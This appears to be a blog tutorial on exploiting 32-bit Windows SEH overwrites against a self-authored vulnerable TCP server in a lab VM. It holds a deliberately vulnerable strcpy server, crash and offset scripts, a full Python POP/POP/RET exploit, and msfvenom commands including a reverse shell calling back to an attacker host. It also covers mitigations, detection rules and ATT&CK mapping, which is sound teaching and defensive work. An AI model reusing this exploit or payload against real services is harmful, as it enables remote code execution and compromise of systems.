SEH Overwrite Exploits: Hijacking Exception Dispatch

By Debraj Basak·Jun 22, 2026·16 min readExploit Development

Objective: Understand how 32-bit Windows Structured Exception Handling works from the TEB down to RtlDispatchException, how a stack overflow corrupts the _EXCEPTION_REGISTRATION_RECORD chain, and how the POP/POP/RET technique turns a caught exception into reliable code execution — built end to end against a self-authored vulnerable TCP server in a lab VM, then paired with the SafeSEH/SEHOP/DEP/GS controls that kill it.


There’s a particular kind of crash that makes new exploit devs assume the bug is dead. You smash the stack, you check EIP, and it still reads a clean return address — the /GS cookie or some other guard caught the corruption and the program is now unwinding. Look closer. If that function ran inside a __try block, you didn’t just corrupt return addresses; you corrupted the exception handler pointers sitting on the stack, and the program is about to hand execution to one of them voluntarily. That is the whole game. SafeSEH gets a lot of press as the thing that stopped this, but in practice the bypass is often trivial — all it takes is one linked module in the process that forgot to opt in.

This walkthrough builds the bug, the primitive, and the payload from scratch.


1. Windows Exception Handling 101

An exception is a synchronous interruption to normal flow: a hardware fault (divide-by-zero, access violation, page fault) or a software-raised condition (RaiseException). Windows funnels both through the same dispatch machinery so the OS, the CRT, and the application all get a chance to handle or decline them.

In C/C++ on MSVC, you opt into that machinery with the __try / __except / __finally keywords:

__try {
    *(int*)0 = 0xdead;            // access violation
}
__except (EXCEPTION_EXECUTE_HANDLER) {
    printf("caught it\n");        // filter returned EXECUTE_HANDLER
}

At function entry, the compiler emits a prologue that pushes a new exception registration record onto the stack and links it into the thread’s SEH chain by updating FS:[0]. That record is two pointers wide. It lives on the stack, near your local buffers — which is exactly why a stack overflow can reach it.


2. The SEH Chain Internals

Every thread owns a Thread Environment Block (_TEB). The first member of the TEB is an _NT_TIB, and the first member of that is ExceptionList — the head of a singly-linked list of exception registration records. On x86 the TEB is reachable through the FS segment register, so the chain head sits at FS:[0x00].

typedef struct _NT_TIB {
    PEXCEPTION_REGISTRATION_RECORD ExceptionList;  // FS:[0x00] — head of SEH chain
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    // ...
    struct _NT_TIB *Self;
} NT_TIB, *PNT_TIB;

typedef struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;     // nSEH — next record (lower addr)
    PEXCEPTION_ROUTINE                     Handler;  // SEH  — handler code (higher addr)
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Each record is 8 bytes: a Next pointer (the field exploit writers call nSEH) followed by a Handler pointer (the SEH field). Records chain together until the final one, whose handler is the process-wide default — kernel32!UnhandledExceptionFilter — the thing that pops the “application has stopped working” dialog and terminates.

Walk the live chain in WinDbg with !exchain:

0:000> !exchain
0019ff70: vuln_seh_server!handle_client+0x5e (00401a8e)
0019ffcc: ntdll!_except_handler4 (77a1c2b0)
0019ffe4: ntdll!FinalExceptionHandler (779f3210)
Invalid exception stack at ffffffff

The address column is where each _EXCEPTION_REGISTRATION_RECORD lives on the stack. Overflow far enough and the first entry’s handler becomes 41414141.

Struct / SymbolKey FieldsRole
_EXCEPTION_REGISTRATION_RECORDNext (nSEH), Handler (SEH)8-byte stack record; the overwrite target
_NT_TIBExceptionList at 0x00, StackBase, StackLimit, SelfHead of the chain at FS:[0]
_TEB_NT_TIB at offset 0Per-thread block reached via FS:[0]
EXCEPTION_RECORDExceptionCode, ExceptionAddress, ExceptionInformation[]Describes the fault to each handler
CONTEXTEip, Esp, Ebp, GP/segment/FP regsThread register state at fault time

Hierarchy diagram showing the SEH chain from the TEB ExceptionList through linked EXCEPTION_REGISTRATION_RECORDs down to the final UnhandledExceptionFilter handler
Every thread’s SEH chain is a singly-linked list of 8-byte stack records anchored at FS:[0x00] — overflow far enough and the Handler field becomes attacker-controlled.

3. Exception Dispatch Flow: Kernel to User Mode

When the CPU faults, the kernel takes the trap, builds an EXCEPTION_RECORD plus a CONTEXT, and reflects the exception back into user mode at a fixed entry point. The flow:

  1. ntdll!KiUserExceptionDispatcher — first user-mode function in the chain; a thin shim that calls RtlDispatchException and inspects the result.
  2. ntdll!RtlDispatchException — walks ExceptionList, runs validation on each record, and dispatches to each registered handler in turn.
  3. ntdll!RtlIsValidHandler — where SafeSEH is actually enforced; it calls RtlpxLookupFunctionTable to check the handler against the module’s SEHandlerTable.
  4. Handler callback — invoked with the EstablisherFrame as its second argument.
  5. ZwContinue if the exception was handled, or ZwRaiseException if RtlDispatchException returned 0 (nobody handled it).

Before it ever calls a handler, RtlDispatchException runs three sanity checks that shape everything about how the exploit must be built:

CheckRequirement
Handler not on the stackThe handler address must be outside [StackLimit, StackBase]
Record on the stackThe _EXCEPTION_REGISTRATION_RECORD itself must sit on the stack
Record alignmentThe record address must be properly byte-aligned

The first check is the killer. You can overwrite the Handler field with a pointer straight to your shellcode on the stack — and the dispatcher will refuse to call it, because that address lives in stack memory. You need to redirect through code that is not on the stack first, then bounce back. That is precisely what POP/POP/RET does, and it’s why the technique is mandatory even against binaries with no SafeSEH at all.


4. Stack Layout Under a Vulnerable Overflow

The stack grows toward lower addresses, but your strcpy writes toward higher addresses. Inside a __try, the record sits above your locals, so a linear overflow runs:

   low addr  ┌────────────────────────┐
             │  char buf[512]         │  ← strcpy starts here, writes upward
             │  ...saved regs/cookie  │
   nSEH ───► │  Next  (4 bytes)       │  ← overwritten with short-jump stub
   SEH  ───► │  Handler (4 bytes)     │  ← overwritten with POP/POP/RET address
             │  shellcode...          │  ← lands right after the record
   high addr └────────────────────────┘

Both fields get clobbered in the same pass because they’re adjacent. That’s the layout that makes the technique work: nSEH (lower) holds a tiny jump, SEH (higher) holds the gadget, and your payload follows immediately after.


5. The POP/POP/RET Gadget — Theory and Mechanics

When RtlDispatchException calls the handler, the raw SEH callback signature is:

EXCEPTION_DISPOSITION NTAPI _except_handler(
    _Inout_ struct _EXCEPTION_RECORD *ExceptionRecord,
    _In_    PVOID                     EstablisherFrame,   // ← address of OUR record
    _Inout_ struct _CONTEXT          *ContextRecord,
    _In_    PVOID                     DispatcherContext
);

EstablisherFrame is the address of the exception registration record being dispatched — which, after the overflow, is the stack address of our overwritten nSEH. At the moment of the call, the stack looks like:

; [ESP+00]  return address into ntdll
; [ESP+04]  ExceptionRecord*
; [ESP+08]  EstablisherFrame   <-- pointer to our nSEH on the stack
; [ESP+0C]  ContextRecord*
; [ESP+10]  DispatcherContext*

Now run a gadget of the form pop <reg> ; pop <reg> ; ret:

  • First pop discards [ESP+00] (the return address).
  • Second pop discards [ESP+04] (the ExceptionRecord pointer).
  • ret pops [ESP+08]EstablisherFrame — into EIP.

EIP is now the stack address of our nSEH. The CPU starts executing the bytes we wrote there. We control them. Any two general-purpose register pops work; the registers themselves are irrelevant — we only care that ESP advances 8 bytes and ret consumes the EstablisherFrame.

nSEH is only 4 bytes, but 4 bytes is enough for a short jump that hops over the SEH field into the shellcode that follows.


Flow diagram showing how RtlDispatchException calls the [POP/POP/RET gadget](https://genxcyber.com/x86-and-x64-assembly-from-scratch/), which redirects EIP to the nSEH short-jump stub, which then jumps into the shellcode
Two pops advance ESP past the return address and ExceptionRecord pointer; ret consumes EstablisherFrame — landing EIP directly on the attacker-controlled nSEH bytes.

6. Building the Lab Target

Compile this with MSVC for x86, mitigations deliberately off. It listens on TCP 9999 and strcpys network input into a 512-byte stack buffer inside a __try — guaranteeing an SEH record sits above the overflow.

// vuln_seh_server.c — intentionally vulnerable lab target
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")

void handle_client(SOCKET s) {
    char buf[512];          // fixed-size stack buffer
    char recv_buf[4096];
    int n = recv(s, recv_buf, sizeof(recv_buf)-1, 0);
    if (n <= 0) return;
    recv_buf[n] = '\0';

    #ifdef _MSC_VER
    __try {
        strcpy(buf, recv_buf);  // ← unsafe copy: overflows into nSEH + SEH
        printf("Received: %s\n", buf);
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        printf("Exception caught (benign handler)\n");
    }
#else
    strcpy(buf, recv_buf);      // ← unsafe copy: overflows into nSEH + SEH
    printf("Received: %s\n", buf);
#endif
}

int main() {
    WSADATA wsa; WSAStartup(MAKEWORD(2,2),&wsa);
    SOCKET srv = socket(AF_INET,SOCK_STREAM,0);
    struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
    bind(srv,(struct sockaddr*)&addr,sizeof(addr));
    listen(srv,1);
    printf("[*] Listening on port 9999\n");
    SOCKET cli = accept(srv,NULL,NULL);
    handle_client(cli);
    closesocket(cli); closesocket(srv); WSACleanup();
    return 0;
}
cl.exe /MT /Zi /GS- /SAFESEH:NO /NXCOMPAT:NO /DYNAMICBASE:NO vuln_seh_server.c /link /SAFESEH:NO

VM setup: Windows 10 x86 (32-bit), Immunity Debugger + mona.py (or x64dbg-32 + ERC). Disable Defender. Turn DEP off for the first pass with bcdedit /set nx AlwaysOff and reboot; you’ll switch it back on for the advanced exercise.


7. Lab Walkthrough: Building the Exploit Step by Step

Step 1 — Crash verification

# crash.py
import socket
payload = b"A" * 2000
s = socket.socket(); s.connect(("192.168.x.x", 9999))
s.send(payload); s.close()

Attach Immunity to the running server first, then fire. Open View → SEH chain (or !exchain in WinDbg). Both nSEH and SEH read 41414141. The access violation occurred, the dispatcher walked the chain, and our AAAA is now the handler.

Step 2 — Find the nSEH/SEH offset

msf-pattern_create -l 2000 > pattern.txt
# offset_fuzz.py
import socket
pattern = open("pattern.txt","rb").read()
s = socket.socket(); s.connect(("192.168.x.x", 9999))
s.send(pattern); s.close()

After the crash, read the nSEH value out of the SEH chain window and feed it back:

msf-pattern_offset -l 2000 -q '<nSEH_value>'
# [*] Exact match at offset 524

Layout locked in: [524 × 'A'][4 nSEH][4 SEH][shellcode...].

Step 3 — Bad character analysis

# Place all bytes 0x01–0xFF in the shellcode region and diff in the debugger
badchars = bytes(range(1, 256))
payload = b"A"*524 + b"B"*4 + b"C"*4 + badchars

For this target the obvious offender is \x00strcpy stops dead at the first null. The classic SEH bad set is \x00\x0a\x0d. I once burned the better part of an afternoon on a “broken” gadget that turned out fine; the real problem was a 0x0a mid-shellcode that strcpy happily copied but the parser upstream had chewed into a line break. Run the badchar pass before you trust any address. Document the set for msfvenom.

Step 4 — Find a POP/POP/RET in a non-SafeSEH module

In Immunity with mona:

!mona seh -n

The -n flag restricts results to modules without SafeSEH and without ASLR — exactly the constraints the dispatcher’s validation forces on us. A result line looks like:

0x61617619 : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [EPG.dll]

x64dbg users get the same with ERC:

ERC --SEH

Pick an address free of your bad characters. Verify by hand — disassemble it and confirm it really is two register pops and a ret. Note the address; it must be the module’s code, never the stack.

Step 5 — Craft the nSEH short-jump stub

nSEH is only 4 bytes and it gets executed first (the gadget’s ret lands there). A near-relative short jump is \xEB + signed displacement. We need to clear the 4-byte SEH field, so jump 6 bytes forward and pad to width with NOPs:

\xEB\x06   ; jmp $+8  (6-byte relative jump from end of this instruction)
\x90\x90   ; NOP padding to fill the 4-byte nSEH field

So nSEH = \xeb\x06\x90\x90. Execution at nSEH hops over the 4-byte handler field and lands in the shellcode buffer that follows the record.

Step 6 — Generate shellcode

# Proof-of-life
msfvenom -p windows/exec CMD=calc.exe \
  -b "\x00\x0a\x0d" -f python --var-name shellcode

# Lab-only reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=4444 \
  -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python --var-name shellcode

Step 7 — Final exploit

#!/usr/bin/env python3
# exploit_seh.py — lab target only, authorized testing
import socket, struct

OFFSET_TO_NSEH = 524

# nSEH: short jump over the 4-byte SEH field into the shellcode
nSEH = b"\xeb\x06\x90\x90"

# SEH: POP/POP/RET address from a non-SafeSEH DLL (little-endian)
SEH_HANDLER = struct.pack("<I", 0x61617619)   # replace with YOUR gadget

# Shellcode: NOP sled + msfvenom output (no bad chars)
shellcode  = b"\x90" * 16
shellcode += b"\xdb\xcc..."                    # paste msfvenom python output

payload  = b"A" * OFFSET_TO_NSEH
payload += nSEH            # +0  jmp +6
payload += SEH_HANDLER     # +4  POP/POP/RET -> EIP = address of nSEH
payload += shellcode       # +8  jump lands here

s = socket.socket()
s.connect(("192.168.x.x", 9999))
s.send(payload)
s.close()
print("[*] Payload sent")

Step 8 — Verify the flow in the debugger

  1. Breakpoint on the POP/POP/RET address.
  2. Send the exploit; on the first-chance access violation, pass it to the app with Shift+F9 so the dispatcher actually invokes the handler.
  3. Single-step the gadget: two pops, then ret loads the stack address of nSEH into EIP.
  4. \xEB\x06 jumps 6 bytes into the NOP sled, then the shellcode fires. Calc spawns, or your listener catches the shell.

The order is counter-intuitive the first time you watch it: the ret jumps backward in the payload (into nSEH), and nSEH then jumps forward over the handler field into the shellcode. Two hops, by design, because the dispatcher won’t let us point straight at the stack.


8. Mitigation Deep Dive: SafeSEH, SEHOP, DEP, /GS

MitigationMechanismBypass condition
SafeSEH (/SAFESEH)PE stores a SEHandlerTable in IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG; RtlIsValidHandler checks every handler against itSource the POP/POP/RET from a non-SafeSEH module loaded in the same process
SEHOPDispatcher appends a terminal record and verifies the chain reaches ntdll!FinalExceptionHandler; overwriting Handler corrupts Next, breaking reachabilityReconstruct a valid synthetic chain ending at the final handler; default-on for Server, default-off for desktop
DEP / NXStack pages marked non-executableShellcode must live in executable memory, or pivot through a VirtualProtect/VirtualAlloc ROP chain
/GS cookieRandom cookie checked before ret to catch sequential overwritesDefeat via out-of-order write, leak, or — as here — reach SEH before the cookie check matters
64-bit SEHx64 uses static UNWIND_INFO tables interpreted by the system; no runtime handler list on the stackClassic SEH overwrite is 32-bit only

Check what a binary actually enabled before you waste time:

dumpbin /loadconfig vuln_seh_server.exe   :: shows "Safe Exception Handler Table"
!mona modules                              :: SafeSEH / ASLR / NX / Rebase per module

Advanced exercise — re-enable, one at a time:

  • SafeSEH on. Your gadget from a protected module is now rejected by RtlIsValidHandler. Find one in any non-SafeSEH DLL in the address space — there’s almost always one.
  • SEHOP on. The chain-walk fails reachability and the process is terminated instead of executing your handler. Watch the termination, then study the synthetic-chain reconstruction (understanding only) — you must rebuild a chain that still threads back to ntdll!FinalExceptionHandler.
  • DEP on. The stack shellcode no longer executes. Introduce a small ROP stub that calls VirtualProtect to flip the stack to RX, then pivots into the shellcode — the gateway into return-oriented programming.

Four stacked vault doors representing layered exploit mitigations: SafeSEH, SEHOP, DEP, and stack cookies blocking an attacker
No single mitigation defeats the SEH overwrite — SafeSEH, SEHOP, DEP, and /GS must be layered together to make the technique infeasible.

9. Common Attacker Techniques

TechniqueDescription
SEH handler overwriteClobber the Handler field and redirect dispatch via POP/POP/RET
nSEH short-jump pivotUse the 4-byte Next field as a jump stub into adjacent shellcode
Non-SafeSEH gadget sourcingPull POP/POP/RET from a module that opted out of /SAFESEH
Egg-huntingWhen space after the record is tight, jump to a small hunter that scans memory for a tagged larger payload
Synthetic SEH chainRebuild a valid-looking chain to slip past SEHOP reachability checks
ROP-assisted DEP bypassChain VirtualProtect/VirtualAlloc gadgets to make the stack executable before pivoting

10. Defensive Strategies & Detection

SEH chain corruption is a CPU/kernel-level event — user-mode telemetry like Sysmon never sees the overwrite itself. You detect the outcome: an unexpected child process, an outbound connection from a service that shouldn’t make one, or a tell-tale crash burst from fuzzing.

Sysmon Event IDField to alert onRationale
Event ID 1 (Process Create)ParentImage = the vulnerable service spawning cmd.exe/powershell.exe/calc.exe; odd CommandLineShellcode launching a child shell
Event ID 3 (Network Connect)SourceImage = the server connecting outbound to an unusual DestinationPort/IPReverse-shell callback
Event ID 7 (Image Load)Signed = false, suspicious ImageLoaded after the crash windowSecond-stage DLL
Event ID 5 (Process Terminate)Abnormal termination of the serviceFailed exploit / SEHOP kill
Event ID 11 (File Create)Writes into %TEMP%/%APPDATA% right after activityPayload staging

Windows Security log: 4688 (process creation with full command line, given Audit Process Creation + command-line inclusion) catches spawned shells. Application log 1000/1001 (WER) flags repeated service crashes — a fuzzing/spraying canary.

ETW providers worth subscribing:
Microsoft-Windows-WER-SystemErrorReporting — process fault data; repeated crashes betray a campaign.
Microsoft-Windows-Security-Mitigations (GUID {FAC7F9EB-5B9A-4D80-8D9E-9ABF6B3B83C0}) — logs SEHOP/DEP-triggered terminations. Confirm with logman query providers | findstr Mitigations.
Microsoft-Windows-Kernel-Process — lifetime events for correlation.

title: Suspicious Child Process from Network Service (SEH Exploit Post-Exploitation)
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 1
    ParentImage|endswith:
      - '\vuln_seh_server.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\whoami.exe'
  condition: selection
fields:
  - ParentImage
  - Image
  - CommandLine
  - User
falsepositives:
  - Legitimate admin scripts spawned by the service
level: high

Hardening: compile with /SAFESEH and /GS; enable SEHOP system-wide (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = 0) or via Exploit Guard; force DEP (bcdedit /set nx AlwaysOn); enable ASLR. None of these alone is decisive — /GS plus SafeSEH plus SEHOP plus DEP, stacked, is what makes the classic SEH overwrite infeasible.


Conceptual illustration of behavioral detection — a suspicious process tree spawning child shells visible through a monitoring lens
SEH exploitation is invisible at the wire level; detection relies on behavioral telemetry — unexpected child processes, outbound callbacks, and crash-burst patterns caught by Sysmon and ETW.

11. Tools for SEH Exploit Analysis

ToolDescriptionLink
Immunity Debugger + mona.pySEH chain view, !mona seh -n, badchar/module triageimmunityinc.com
x64dbg + ERCERC --SEH gadget discovery on the 32-bit buildx64dbg.com
WinDbg!exchain, _EXCEPTION_REGISTRATION_RECORD inspectionmicrosoft.com
msf-pattern_create / _offsetCyclic pattern offset discoverymetasploit.com
msfvenomBad-char-aware shellcode generation/encodingmetasploit.com
dumpbin /loadconfigConfirm SafeSEH table presence in a PEmicrosoft.com
GhidraStatic review of handler frames and __try regionsghidra-sre.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Sysmon EID 1 child-process anomalies from a client app
Exploitation of Remote ServicesT1210Outbound connect from a listening service (EID 3); WER crash bursts
Exploitation for Privilege EscalationT1068Shell spawned under a high-privilege service account
Command and Scripting Interpreter: Windows Command ShellT1059.003cmd.exe parented by the vulnerable EXE
Process InjectionT1055Post-exploit injection into a host process

ATT&CK has no SEH-overwrite sub-technique. Map server-side delivery (the lab here) to T1210, client-side to T1203, and add T1068 when the service runs elevated.


Summary

  • An SEH overwrite weaponizes Windows’ own exception dispatcher: corrupt the on-stack _EXCEPTION_REGISTRATION_RECORD, and the OS hands you control when it tries to handle the fault you caused.
  • The dispatcher’s three validation checks — handler off-stack, record on-stack, aligned — are why a direct pointer-to-shellcode fails and POP/POP/RET is mandatory even without SafeSEH.
  • nSEH carries a 4-byte short jump (\xeb\x06\x90\x90); SEH carries a POP/POP/RET gadget sourced from a non-SafeSEH module; the gadget’s ret lands on nSEH, which hops into the shellcode.
  • The technique is 32-bit only — x64 SEH uses static UNWIND_INFO tables, not a stack-resident handler list.
  • Stacked mitigations (/GS + SafeSEH + SEHOP + DEP + ASLR) defeat it; detection is behavioral — Sysmon EID 1/3/5, WER crash telemetry, and the Security-Mitigations ETW provider.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups — no spam, unsubscribe anytime.